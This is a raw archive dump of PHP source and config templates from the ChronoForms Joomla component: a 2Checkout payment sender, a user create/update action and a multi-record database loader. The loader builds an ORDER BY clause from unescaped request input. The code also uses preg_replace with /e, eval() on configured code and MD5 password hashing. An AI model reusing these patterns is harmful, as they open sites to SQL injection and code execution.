input('action_2co_sender_{n}_debug_only_config', array('type' => 'select', 'label' => 'Debug only', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Will show a debug output for the data sent to the gateway but will not redirect.')); ?> input('action_2co_sender_{n}_fixed_config', array('type' => 'select', 'label' => 'Fixed ?', 'options' => array('N' => 'No', 'Y' => 'Yes'), 'smalldesc' => 'Will remove the Continue Shopping button and lock the quantity fields')); ?> input('action_2co_sender_{n}_skip_landing_config', array('type' => 'select', 'label' => 'Skip Landing', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'If enabled it will skip the order review page of the purchase routine. If there are options on the products it will cause an error and redirect the customer back to the order review page.')); ?> input('action_2co_sender_{n}_routine_config', array('type' => 'select', 'label' => 'Payment Routine', 'options' => array('M' => 'Multi Page (Default)', 'S' => 'Single Page'), 'smalldesc' => 'Choose weather you want to do a single or multi page checkout on 2co.com, single page checkout will allow CC payments only.')); ?> input('action_2co_sender_{n}_return_url_config', array('type' => 'text', 'label' => "Return URL", 'class' => 'medium_input', 'smalldesc' => 'Used to control where the Continue Shopping button will send the customer when clicked. (255 characters max)')); ?> input('action_2co_sender_{n}_x_Receipt_Link_URL_config', array('type' => 'text', 'label' => "Approved URL", 'class' => 'medium_input', 'smalldesc' => 'Used to specify an approved URL on-the-fly, but is limited to the same domain that is used for your 2Checkout account, otherwise it will fail.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will communicate with the 2CO server, you must be a registered 2CO vendor in order to be able to use this one.
      • Map your form fields names to the fields required by 2Checkout, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: 2co_field_name=form_field_name
      • Enter your 2CO account settings.
      • Once triggered, this action will redirect the user to the 2CO servers for payment.
      • For more documentation about the 2CO parameters, please search the 2CO website for "Plugin n play parameters".

      tabEnd(); ?>
      PK@y>\=components/com_chronoforms/form_actions/2co_sender/index.htmlnuW+APK@y>\)<components/com_chronoforms/form_actions/2co_sender/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5H+"+"Mcomponents/com_chronoforms/form_actions/joomla_user_save/joomla_user_save.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla User Create/Update', 'tooltip' => 'Create or Update a Joomla user record.'); var $params = null; function run($form, $actiondata){ $this->params = $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //set activation link if(trim($this->params->get('activation_link', '')) == ''){ $this->params->set('activation_link', 'index.php?option=com_users&task=registration.activate'); } // Get required system objects //$user = clone(JFactory::getUser()); //$pathway = $mainframe->getPathway(); $config = JFactory::getConfig(); $authorize = JFactory::getACL(); $document = JFactory::getDocument(); $language = JFactory::getLanguage(); $language->load('com_users'); // Initialize new usertype setting $usersConfig = JComponentHelper::getParams('com_users'); // Default to Registered. $defaultUserGroup = $params->get('new_usertype', ''); if(empty($defaultUserGroup)){ if(trim($params->get('new_usertype_field', ''))){ $posted_groups_field = $params->get('new_usertype_field', ''); $user_group_value = $form->get_array_value($form->data, explode('.', $params->get('new_usertype_field', ''))); if(!empty($user_group_value)){ if(!is_array($user_group_value)){ $user_group_value = array($user_group_value); } $defaultUserGroup = $user_group_value; } }else{ //$defaultUserGroup = $userConfig->get('new_usertype', array(2)); } }else{ $_groups = explode(",", trim($defaultUserGroup)); $defaultUserGroup = array(); foreach($_groups as $_group){ $defaultUserGroup[] = (int)$_group; } } //set the post fields values $post_user_data['name'] = $form->get_array_value($form->data, explode('.', $params->get('name', ''))); $post_user_data['username'] = $form->get_array_value($form->data, explode('.', $params->get('username', ''))); $post_user_data['email'] = $form->get_array_value($form->data, explode('.', $params->get('email', ''))); $post_user_data['password'] = $form->get_array_value($form->data, explode('.', $params->get('password', ''))); $post_user_data['password2'] = $form->get_array_value($form->data, explode('.', $params->get('password2', ''))); $post_user_data['id'] = $form->get_array_value($form->data, explode('.', $params->get('user_id', ''))); if((bool)$params->get('enable_old_password', 0) === true){ $post_user_data['old_password'] = $form->get_array_value($form->data, explode('.', $params->get('old_password', ''))); }else{ $post_user_data['old_password'] = ''; } //check empty fields $checks = array('name', 'username', 'email'); foreach($checks as $check){ if(!trim($post_user_data[$check])){ $this->events['fail'] = 1; $form->validation_errors[$params->get($check)] = 'You must provide your '.$check.'.'; //return false; } } if($this->events['fail'] == 1){ return false; } //case create/update $noPassword = false; if($params->get('function', 0) == 0){ $user_id = empty($post_user_data['id']) ? 0 : $post_user_data['id']; $user = JFactory::getUser($user_id); //check if the password is empty if(!trim($post_user_data['password'])){ //new user must have a password if(empty($post_user_data['id'])){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password')] = 'You must provide a Password.'; return false; }else{ unset($post_user_data['password']); unset($post_user_data['password2']); $noPassword = true; } } //check the 2 passwords if(isset($post_user_data['password']) && isset($post_user_data['password2']) && ($post_user_data['password'] != $post_user_data['password2'])){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password2')] = 'Passwords do NOT match.'; $form->debug[] = "Couldn't create/update user, Passwords do NOT match."; return false; } }else if($params->get('function', 0) == 1){ $user = JFactory::getUser(); if(!$user->get('id')){ $this->events['fail'] = 1; $form->validation_errors[] = 'No users logged in.'; $form->debug[] = "Couldn't get logged in user data."; return false; }else{ $post_user_data['id'] = $user->get('id'); } //user is updating his own record if(trim($post_user_data['old_password']) || trim($post_user_data['password']) || trim($post_user_data['password2'])){ //some password field has been changed, make sure they are correct //check the 2 passwords if($post_user_data['password'] != $post_user_data['password2']){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password2')] = 'Passwords do NOT match.'; $form->debug[] = "Couldn't create/update user, Passwords do NOT match."; return false; } //chek old password if((bool)$params->get('enable_old_password', 0) === true){ //print_r2($user); $parts = explode(":", $user->get('password')); $salt = $parts[1]; $enc_pass = md5($post_user_data['old_password'].$salt).":".$salt; if($enc_pass != $user->get('password')){ $this->events['fail'] = 1; $form->validation_errors[$params->get('old_password')] = 'Wrong password entered.'; $form->debug[] = "Old password has been entered incorrectly."; return false; }else{ //check if the password is empty if(!trim($post_user_data['password']) || !trim($post_user_data['password2'])){ $this->events['fail'] = 1; $form->validation_errors[$params->get('password')] = 'Please enter a new password.'; return false; } } } }else{ $form->data = $form->set_array_value($form->data, explode('.', $params->get('old_password', '')), null); $form->data = $form->set_array_value($form->data, explode('.', $params->get('password', '')), null); $form->data = $form->set_array_value($form->data, explode('.', $params->get('password2', '')), null); } } // Bind the post array to the user object //$post_user_data = $form->data; if(!$user->bind($post_user_data)){ //JError::raiseError( 500, $user->getError()); $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't bind new user, Joomla returned this error : ".$user->getError(); return false; } if($params->get('function', 0) == 0){ $user->set('groups', $defaultUserGroup); // Set some initial user values if(!isset($post_user_data['id']) || empty($post_user_data['id'])){ $user->set('id', 0); $user->set('usertype', 'deprecated'); //$user->set('groups', $defaultUserGroup); $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); }else{ $user->set('id', (int)$post_user_data['id']); if($noPassword === true){ $user->set('password', null); } } } // If there was an error with registration, set the message and display form if(!$user->save()){ /*JError::raiseWarning('', JText::_( $user->getError())); $this->register();*/ $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't save user, Joomla returned this error : ".$user->getError(); return false; }else{ $this->events['success'] = 1; } //store user data $user_data = (array)$user; $removes = array('params', '_params', 'guest', '_errorMsg', '_errors'); foreach($removes as $remove){ unset($user_data[$remove]); } $form->data['_PLUGINS_']['joomla_user_save'] = $user_data; //inject user data under the correct data path if(strlen(trim($params->get('user_data_path', ''))) > 0){ $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('user_data_path', ''))), $user_data); } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'name' => '', 'username' => '', 'email' => '', 'password' => '', 'password2' => '', 'old_password' => '', 'user_id' => '', 'new_usertype' => '', 'new_usertype_field' => '', 'function' => 0, 'enable_old_password' => 0, 'user_data_path' => 'User', ); } return array('action_params' => $action_params); } } ?>PK@y>\)Bcomponents/com_chronoforms/form_actions/joomla_user_save/.htaccessnuW+A Order allow,deny Deny from all PK@y>\]戊Mcomponents/com_chronoforms/form_actions/joomla_user_save/joomla_user_save.ctpnuW+A
      Joomla User Create/Update
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'joomla_user_save_config_{n}'); ?> tabStart('fields'); ?> input('action_joomla_user_save_{n}_name_config', array('type' => 'text', 'label' => 'Name field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Name data')); ?> input('action_joomla_user_save_{n}_username_config', array('type' => 'text', 'label' => 'Username field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Username data')); ?> input('action_joomla_user_save_{n}_email_config', array('type' => 'text', 'label' => 'Email field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Email data')); ?> input('action_joomla_user_save_{n}_password_config', array('type' => 'text', 'label' => 'Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Password data')); ?> input('action_joomla_user_save_{n}_password2_config', array('type' => 'text', 'label' => 'Verify Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Verify Password data')); ?> input('action_joomla_user_save_{n}_old_password_config', array('type' => 'text', 'label' => 'Old Password field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the Old Password data')); ?> input('action_joomla_user_save_{n}_user_id_config', array('type' => 'text', 'label' => 'User ID field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the user id, useful when updating users data by an admin or a different user.')); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_joomla_user_save_{n}_override_allow_user_registration_config', array('type' => 'select', 'label' => 'Override the Joomla Allow user registration', 'label_over' => true, 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Its advised that you disable the Joomla allow user registration setting and enable this one so that users are forced to register here.')); ?> setQuery($query); $options = array(); $groups = $database->loadObjectList(); foreach($groups as $group){ $options[$group->id] = $group->title; } ?> input('action_joomla_user_save_{n}_new_usertype_config', array('type' => 'select', 'label' => 'Usertype', 'options' => $options, 'size' => 6, 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'The new user type/group.')); ?> input('action_joomla_user_save_{n}_new_usertype_field_config', array('type' => 'text', 'label' => 'Usertype field name', 'class' => 'medium_input', 'smalldesc' => 'The name of the field which is going to hold the group id of the new created users, the User Type field should be empty.')); ?> input('action_joomla_user_save_{n}_function_config', array('type' => 'select', 'label' => 'Function', 'options' => array(0 => 'Create/Update', 1 => 'Update Self'), 'smalldesc' => '"Create/Update will create or update any loaded user record, the "id" field should be present in the data array, "Update Self" will update the details of the logged ins user.')); ?> input('action_joomla_user_save_{n}_enable_old_password_config', array('type' => 'select', 'label' => 'Enable Old Password', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable Old password data check, useful for "Update Self" function only.')); ?> input('action_joomla_user_save_{n}_user_data_path_config', array('type' => 'text', 'label' => 'User Data Path', 'class' => 'medium_input', 'smalldesc' => 'The data path under which the saved user data will be present in the form->data array.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Assign your form field's names to the required fields names under the "Fields" tab.
      • Configure the settings under the "Settings" tab.
      • This action can be used by Admins to create/update users OR by users to update their own accounts.
      • In case of updating existing users (either by admins or end users), passing empty password fields will not overwrite the saved password.

      tabEnd(); ?>
      PK@y>\ Ccomponents/com_chronoforms/form_actions/joomla_user_save/index.htmlnuW+A PK@y>\j8080Ycomponents/com_chronoforms/form_actions/db_multi_record_loader/db_multi_record_loader.phpnuW+A 0, 'notfound' => 0, 'nodata' => 0); var $group = array('id' => 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'DB Multi Record Loader', 'tooltip' => 'Load Database table records based on a request parameter value or a custom DB query.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $table_name = $params->get('table_name', ''); if(!empty($table_name) && (int)$params->get('load_data', 1) == 1){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $table_field = $params->get('dbfield', ''); if(trim($actiondata->content1)){ $where = " WHERE ".$this->_processWhere(trim($actiondata->content1), $form); }else if(!empty($table_field)){ //$where = " WHERE `".$params->get('dbfield', '')."` = '".$form->data[$params->get('request_param', '')]."'"; $req_param = $form->get_array_value($form->data, explode('.', $params->get('request_param', ''))); if(is_null($req_param)){ $req_param = ''; $where = " WHERE `".$table_field."` = '".$form->escapeVar($req_param)."'"; }else{ if(is_array($req_param) && !empty($req_param)){ $where = " WHERE `".$table_field."` IN ('".implode("','", $form->escapeVar($req_param))."')"; }else{ $where = " WHERE `".$table_field."` = '".$form->escapeVar($req_param)."'"; } } }else{ $where = ""; } //load the model_id $model_id_sub = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", $table_name); $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = $model_id_sub; } //check fields $fields = array(); if(trim($params->get('fields', ''))){ $fields_list = explode(",", trim($params->get('fields', ''))); foreach($fields_list as $field){ $fields[] = "`".$field."`"; } }else{ $fields = array("`".$model_id."`.*"); } //check the association $assoc = ''; $assoc_models = array(); $primaries = array(); if($params->get('enable_association', 0) == 1 && $params->get('load_data', 1) == 1){ if(trim($params->get('associated_models', ''))){ //add primary key for the main table $fields_list = $database->getTableFields(array(trim($params->get('table_name', ''))), false); $table_fields = $fields_list[trim($params->get('table_name', ''))]; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primaries[$model_id] = $table_field; } } //find associated models list $assoc_models = explode(',', $params->get('associated_models')); foreach($assoc_models as $k => $assoc_model){ $assoc_models[$k] = trim($assoc_model); } //find other multi record loaders $models_list = array(); $wheres_list = array(); foreach($form->form_actions as $form_action){ if($form_action->type == 'db_multi_record_loader'){ $action_params = new JParameter($form_action->params); if(trim($action_params->get('model_id', '')) && trim($action_params->get('table_name', ''))){ $models_list[trim($action_params->get('model_id', ''))] = array('table' => trim($action_params->get('table_name', ''))); $models_list[trim($action_params->get('model_id', ''))]['join_type'] = trim($action_params->get('join_type', 'INNER')); $models_list[trim($action_params->get('model_id', ''))]['join_rule'] = trim($action_params->get('join_rule', '')); if(in_array(trim($action_params->get('model_id', '')), $assoc_models)){ //find some table info (primary key) $fields_list = $database->getTableFields(array(trim($action_params->get('table_name', ''))), false); $table_fields = $fields_list[trim($action_params->get('table_name', ''))]; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primaries[trim($action_params->get('model_id', ''))] = $table_field; } } //get table fields list if(trim($action_params->get('fields', ''))){ $table_fields = explode(",", trim($action_params->get('fields', ''))); foreach($table_fields as $table_field){ $table_field = trim($table_field); $field_alias = "`".trim($action_params->get('model_id', '')).".".$table_field."`"; $field_name = "`".trim($action_params->get('model_id', ''))."`.`".$table_field."`"; $fields[] = $field_name." AS ".$field_alias; } }else{ foreach($table_fields as $table_field => $field_data){ $fields[] = "`".trim($action_params->get('model_id', ''))."`.`".$table_field."` AS `".trim($action_params->get('model_id', '')).".".$table_field."`"; } //$fields[] = "`".trim($action_params->get('model_id', ''))."`.*"; } //append any WHERE data if(trim($form_action->content1)){ if(!empty($where)){ //$where .= " AND ".$this->_processWhere($form_action->content1, $form); $wheres_list[trim($action_params->get('model_id', ''))] = " ON ".$this->_processWhere($form_action->content1, $form); }else{ $where = " WHERE ".$this->_processWhere($form_action->content1, $form); } } } } } } //build the JOIN statement foreach($assoc_models as $assoc_model){ if(isset($models_list[$assoc_model])){ $assoc .= " ".$models_list[$assoc_model]['join_type']." JOIN `".$models_list[$assoc_model]['table']."` AS `".$assoc_model."`"; if(strlen(trim($models_list[$assoc_model]['join_rule'])) > 0){ $assoc .= " ON ".$models_list[$assoc_model]['join_rule']; } if(isset($wheres_list[$assoc_model])){ $assoc .= $wheres_list[$assoc_model]; } } } } } //add the page navigation data if((bool)$params->get('enable_pagination', 0) === true && $params->get('load_type', 'all') == 'all'){ $option = 'com_chronoforms.db_multi_record_loader.'.$actiondata->id; $session = JFactory::getSession(); if(isset($form->data['limit'])){ $session->set($option.'.limit', (int)$form->data['limit'], md5('chrono')); } $limit = $mainframe->getUserStateFromRequest($option.'.limit', 'limit', $session->get($option.'.limit', (int)$params->get('pagination_limit', 50), md5('chrono')), 'int'); $limitstart = $mainframe->getUserStateFromRequest($option.'.limitstart', 'limitstart', 0, 'int'); $sql = "SELECT count(*) FROM `".$params->get('table_name', '')."` AS `".$model_id."`".$assoc.$where; $database->setQuery($sql); $total = $database->loadResult(); jimport('joomla.html.pagination'); $pageNav = new JPagination($total, $limitstart, $limit); //get current page url //load show_html action helper class $form->loadActionHelper('show_html'); $url = CfactionShowHtmlHelper::selfURL(); if($form->admin === false){ $form->paginatior_footer = '
      '; }else{ $form->paginatior_footer = ''; } $form->paginatior_footer .= $pageNav->getListFooter(); $form->paginatior_footer .= '
      '; //check order data $order = ''; if(isset($form->data['order'])){ $order = ' ORDER BY `'.trim($form->data['order']).'`'.(isset($form->data['direction']) ? ' '.$form->data['direction']: ' ASC'); } $fields = implode(", ", $fields); if((bool)$params->get('count', 0) === true){ $fields = 'count(*)'; } $sql = "SELECT ".$fields." FROM `".$params->get('table_name', '')."` AS `".$model_id."`".$assoc.$where.$order." LIMIT $pageNav->limitstart,$pageNav->limit"; }else{ $fields = implode(", ", $fields); if((bool)$params->get('count', 0) === true){ $fields = 'count(*)'; } $sql = "SELECT ".$fields." FROM `".$params->get('table_name', '')."` AS `".$model_id."`".$assoc.$where; } //echo $form->paginatior_footer; //add debug data $form->debug['db_multi_record_loader'][] = $sql; //run the sql and get the data $database->setQuery($sql); if($params->get('load_type', 'all') == 'first'){ $data = $database->loadAssoc(); }else{ $data = $database->loadAssocList(); } //process the data if association was enabled if(!empty($assoc_models) && !empty($data)){ if($params->get('load_type', 'all') == 'first'){ foreach($data as $k => $v){ if(strpos($k, '.')){ $details = explode('.', $k); if((bool)$params->get('group_model_data', 1) === true){ $data[$details[0]][$details[1]] = $v; }else{ $form->data[$details[0]][$details[1]] = $v; } unset($data[$k]); } } }else{ foreach($data as $datak => $datav){ if(is_array($datav)){ foreach($datav as $k => $v){ if(strpos($k, '.')){ $details = explode('.', $k); $data[$datak][$details[0]][$details[1]] = $v; unset($data[$datak][$k]); }/*else{ $data[$datak][$model_id][$k] = $v; unset($data[$datak][$k]); }*/ } } } if((int)$params->get('group_model_data', 1) == 1){ $data = $this->group_model_data($data, $model_id, $primaries); } } } //print_r2($data); //data must be loaded under some model id $form->data[$model_id] = $data; //check the result //$request_val = $form->data[$params->get('request_param', '')]; if(empty($data)){ $this->events['notfound'] = 1; }else{ $this->events['found'] = 1; } //print_r2($form->data); } } function group_model_data($data, $main_model_id, $primaries){ if(!empty($primaries)){ if(isset($primaries[$main_model_id])){ $primary = $primaries[$main_model_id]; unset($primaries[$main_model_id]); }else{ return $data; } $unique_values = array(); $new_data = array(); foreach($data as $datak => $datav){ if(is_array($datav)){ if(isset($datav[$primary])){ if(!isset($unique_values[$datav[$primary]])){ $unique_values[$datav[$primary]] = $datak; //$new_data[] = $datav; foreach($primaries as $model => $pr){ if(isset($datav[$model])){ $temp_model_data = $datav[$model]; unset($datav[$model]); $datav[$model][] = $temp_model_data; } } $new_data[$datak] = $datav; }else{ foreach($primaries as $model => $pr){ if(isset($datav[$model])){ $temp_model_data = $datav[$model]; unset($datav[$model]); $new_data[$unique_values[$datav[$primary]]][$model][] = $temp_model_data; } } } } } } foreach($primaries as $model => $pr){ foreach($new_data as $k => $v){ if(is_array($v) && isset($v[$model])){ $new_data[$k][$model] = $this->group_model_data($v[$model], $model, $primaries); } } } $data = $new_data; } return $data; } function _processWhere($code, $form){ ob_start(); eval("?>".$code); $code = ob_get_clean(); return $code; } function load($clear){ if($clear){ $action_params = array( 'dbfield' => '', 'table_name' => '', 'request_param' => '', 'load_data' => 1, 'model_id' => '', 'fields' => '', 'count' => 0, 'join_type' => 'INNER', 'join_rule' => '', 'load_type' => 'all', 'enable_association' => 0, 'associated_models' => '', 'group_model_data' => 1, 'pagination_limit' => '50', 'enable_pagination' => 0, 'data_display_fields' => '', 'enable_data_displayer' => 0, 'data_order_fields' => '', 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\gt22Ycomponents/com_chronoforms/form_actions/db_multi_record_loader/db_multi_record_loader.ctpnuW+A
      DB Multi Record Loader
      Header(array('basic' => 'Basic', 'advanced' => 'Advanced', 'displayer' => 'Data Displayer', 'help' => 'Help'), 'db_multi_record_loader_config_{n}'); ?> tabStart('basic'); ?> input('action_db_multi_record_loader_{n}_dbfield_config', array('type' => 'text', 'label' => "DB Field", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The field name which will be used to query the table record, if left empty then all records will be loaded.")); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_db_multi_record_loader_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The table name to load the data from.")); ?> input('action_db_multi_record_loader_{n}_request_param_config', array('type' => 'text', 'label' => "Request Param", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The param name which will exist in the request url to the form, its value will be used to load the target db records, if the value of this parameter is an array then the array values will be used inside 'IN' statement.")); ?> input('action_db_multi_record_loader_{n}_model_id_config', array('type' => 'text', 'label' => "Model ID", 'class' => 'medium_input', 'value' => '', 'smalldesc' => "The key under which the loaded record data will be stored in the form->data array.
      this is obligatory, if left empty then a camilized version of the table name will be used, e.g: jos_my_table = JosMyTable")); ?> input('action_db_multi_record_loader_{n}_fields_config', array('type' => 'text', 'label' => "Fields", 'class' => 'big_input', 'label_over' => true, 'smalldesc' => "List of comma separated fields names to load from this table (field_name1,field_name2..etc), leave empty to load all fields.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_db_multi_record_loader_{n}_load_data_config', array('type' => 'select', 'label' => 'Load Data', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Do you want to load the data of this model OR just use it in the models associations ?")); ?> input('action_db_multi_record_loader_{n}_load_type_config', array('type' => 'select', 'label' => 'Data Load Type', 'options' => array('all' => 'ALL', 'first' => 'First Record'), 'smalldesc' => "Which data to load ? All data (normal behavior) OR first record only (similar to the Record Loader Action).")); ?> input('action_db_multi_record_loader_{n}_enable_association_config', array('type' => 'select', 'label' => 'Enable Associations', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Do you want to enable the associations for this model ? this will allow you to load data from multiple tables and have them associated together.")); ?> input('action_db_multi_record_loader_{n}_join_type_config', array('type' => 'select', 'label' => 'JOIN Type', 'options' => array('INNER' => 'INNER', 'LEFT' => 'LEFT', 'RIGHT' => 'RIGHT'), 'smalldesc' => "The JOIN type used in case of an association.")); ?> input('action_db_multi_record_loader_{n}_join_rule_config', array('type' => 'text', 'label' => 'JOIN Rule', 'class' => 'big_input', 'smalldesc' => "The JOIN rule used in case of an association, example: MODEL_ID1.field1=MODEL_ID2.field2")); ?> input('action_db_multi_record_loader_{n}_associated_models_config', array('type' => 'text', 'label' => "Associated Models", 'class' => 'big_input', 'label_over' => true, 'smalldesc' => "list of models ids to associate this one with, comma separated, exactly as they are in other 'Multi DB Record Loader' configs.")); ?> input('action_db_multi_record_loader_{n}_group_model_data_config', array('type' => 'select', 'label' => 'Group Model Data', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "This will add a bit of overhead on the server, but will remove any duplicates from the results and will group any associated models data under the same item.")); ?> input('action_db_multi_record_loader_{n}_content1_config', array('type' => 'textarea', 'label' => 'WHERE statement', 'rows' => 10, 'cols' => 50, 'smalldesc' => "The code used for the WHERE statement, some notes:
      1 - leave empty to use the default request param with column name formula (associations not enabled), OR to load ALL records (associations enabled).
      2 - don't use the WHERE word.
      3 - in case of associations, pay attention to write the join rule, e.g: `User`.`id` = `Profile`.`user_id`
      4 - in case of associations, if other associated models have WHERE statements then all the WHERE data will be appended using AND.
      5 - You can use PHP code with tags. ")); ?> tabEnd(); ?> tabStart('displayer'); ?> input('action_db_multi_record_loader_{n}_enable_data_displayer_config', array('type' => 'select', 'label' => 'Enable Data Displayer', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Do you want to enable the generic data displayer ?")); ?> input('action_db_multi_record_loader_{n}_data_display_fields_config', array('type' => 'text', 'label' => "Display Fields", 'class' => 'big_input', 'smalldesc' => "Enter comma separated list of fields and titles in this format:
      field_name:Field_Title
      e.g:field1:Name,field2:Company")); ?> input('action_db_multi_record_loader_{n}_data_order_fields_config', array('type' => 'text', 'label' => "Order Fields", 'class' => 'big_input', 'smalldesc' => "Enter comma separated list of fields names to be sortable.")); ?> input('action_db_multi_record_loader_{n}_enable_pagination_config', array('type' => 'select', 'label' => 'Enable Pagination', 'options' => array(0 => 'No', 1 => 'Top', 2 => 'Bottom'), 'class' => 'medium_input', 'smalldesc' => "Do you want to enable the pagination feature for the records returned ? if so, where do you want it displayed ?")); ?> input('action_db_multi_record_loader_{n}_pagination_limit_config', array('type' => 'text', 'label' => "Limit", 'class' => 'small_input', 'smalldesc' => "The number of records per page.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the table name to load the data from
      • Your table must have a primary key.
      • Please give your table a unique model id, e.g: jos_content can have "Article".
      • If you disable "Load Data" then no db query will run for this model, this is useful when you only need to create an association with another model loading the data.
      • If you enable the associations then your model will check for any associated models to load the data from.
      • Associated models should have a list of models connected to the current model somehow, these models should be loaded through similar actions in the same form event.
      • Grouping model data is useful when you have lots of duplicated records in the data returned, this is usually the case when you have 1 or more models associated.
      • You may enable data pagination under the pagination tab, please use this variable to show the pagination limit boxes or links:
        $form->paginatior_footer

      tabEnd(); ?>
      PK@y>\c<0bcomponents/com_chronoforms/form_actions/db_multi_record_loader/cfaction_db_multi_record_loader.ctpnuW+Aload($form, $actiondata); ?>PK@y>\)Hcomponents/com_chronoforms/form_actions/db_multi_record_loader/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7澰bcomponents/com_chronoforms/form_actions/db_multi_record_loader/cfaction_db_multi_record_loader.phpnuW+Aparams); $output = ''; if((bool)$params->get('enable_data_displayer', 0) === true && $params->get('load_type', 'all') == 'all'){ //find the model data $table_name = $params->get('table_name', ''); $model_id_sub = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", $table_name); $model_id = $params->get('model_id', ''); if(empty($model_id)){ $model_id = $model_id_sub; } //pre output creation $fields_names = array(); $fields_headings = array(); $order_fields = array(); //get order fields $order_str = trim($params->get('data_order_fields', '')); if(!empty($order_str)){ $order_fields = explode(",", trim($params->get('data_order_fields', ''))); } //get display fields $fields_data = trim($params->get('data_display_fields', '')); if(!empty($fields_data)){ $fields_data = explode(",", $fields_data); foreach($fields_data as $field_data){ $field_data = explode(":", trim($field_data)); $fields_names[] = $field_name = $field_data[0]; if(!isset($field_data[1])){ $field_data[1] = strtoupper($field_data[0]); } $fields_headings[] = $field_heading = $field_data[1]; } } //create the table code $output .= ''; $output .= ''; $output .= ''; $form->loadActionHelper('show_html'); $showHTMLHelper = new CfactionShowHtmlHelper(); foreach($fields_headings as $k => $field_heading){ if(in_array($fields_names[$k], $order_fields)){ $direction = 'asc'; if(isset($form->data['order']) && ($form->data['order'] == $fields_names[$k]) && isset($form->data['direction'])){ if($form->data['direction'] == 'asc'){ $direction = 'desc'; }else{ $direction = 'asc'; } } $class = ''; if(isset($form->data['order']) && ($form->data['order'] == $fields_names[$k])){ $class = ' direction_'.(isset($form->data['direction']) ? $form->data['direction']: 'asc'); } $field_heading = ''.$field_heading.''; }else{ $field_heading = $field_heading; } $output .= ''; } $output .= ''; $output .= ''; $output .= ''; $i = 0; if(!empty($form->data[$model_id])){ foreach($form->data[$model_id] as $r => $record){ $output .= ''; foreach($fields_names as $k => $field_name){ if(strpos($field_name, '.') !== false){ $record[$field_name] = $form->get_array_value($record, explode('.', $field_name)); } $output .= ''; } $output .= ''; $i = 1 - $i; } } $output .= ''; $output .= '
      '.$field_heading.'
      '.$record[$field_name].'
      '; } if((bool)$params->get('enable_pagination', 0) === true && isset($form->paginatior_footer)){ //check the position of the pagination if((int)$params->get('enable_pagination', 0) == 1){ $output = $form->paginatior_footer.$output; }else if((int)$params->get('enable_pagination', 0) == 2){ $output = $output.$form->paginatior_footer; } } //add CSS $this->_addCSS($form, $actiondata); //end echo $output; } function _addCSS($form, $actiondata){ $document = JFactory::getDocument(); //add some CSS formatting for pagination ob_start(); ?> .list-footer ul li { display: inline; } #db_multi_record_loader_id; ?> { width: 100%; margin: 0px 0px; } #db_multi_record_loader_id; ?> .cell { padding: 2px; } #db_multi_record_loader_id; ?> .cell { padding: 2px; } #db_multi_record_loader_id; ?> thead { background-color: #dedede; } addStyleDeclaration($script); } } ?>PK@y>\ Icomponents/com_chronoforms/form_actions/db_multi_record_loader/index.htmlnuW+A PK@y>\gAcomponents/com_chronoforms/form_actions/multi_page/multi_page.phpnuW+A 'Multi Page', 'tooltip' => 'Handles the data transactions between the different form pages.'); var $group = array('id' => 'form_utilities', 'title' => 'Utilities'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $session_key = $form->getSessionToken(); //Data to Session config $data_to_session_details = new stdClass(); $data_to_session_details->type = 'data_to_session'; $data_to_session_Params = new JParameter(''); $data_to_session_Params->set('merge', 1); if((bool)$params->get('session_key', 0) === true){ $data_to_session_Params->set('key', $session_key); } $data_to_session_details->params = 